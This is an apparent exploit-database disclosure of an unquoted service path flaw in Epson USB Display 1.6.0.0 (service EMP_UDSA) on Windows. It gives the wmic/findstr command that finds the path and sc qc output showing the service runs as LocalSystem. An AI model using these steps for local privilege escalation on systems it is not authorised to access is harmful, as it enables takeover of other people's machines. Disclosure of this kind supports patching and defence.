# Exploit Title: Epson USB Display 1.6.0.0 - 'EMP_UDSA' Unquote Service Path # Discovery by: Hector Gerbacio # Discovery Date: 2021-02-05 # Vendor Homepage: https://epson.com.mx/ # Tested Version: 1.6.0.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 8.1 con Bing # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "EMP_UDSA" | findstr /i /v """ EMP_UDSA EMP_UDSA C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe Auto # Service info: C:\>sc qc EMP_UDSA [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: EMP_UDSA TIPO : 110 WIN32_OWN_PROCESS (interactive) TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : EMP_UDSA DEPENDENCIAS : RPCSS NOMBRE_INICIO_SERVICIO: LocalSystem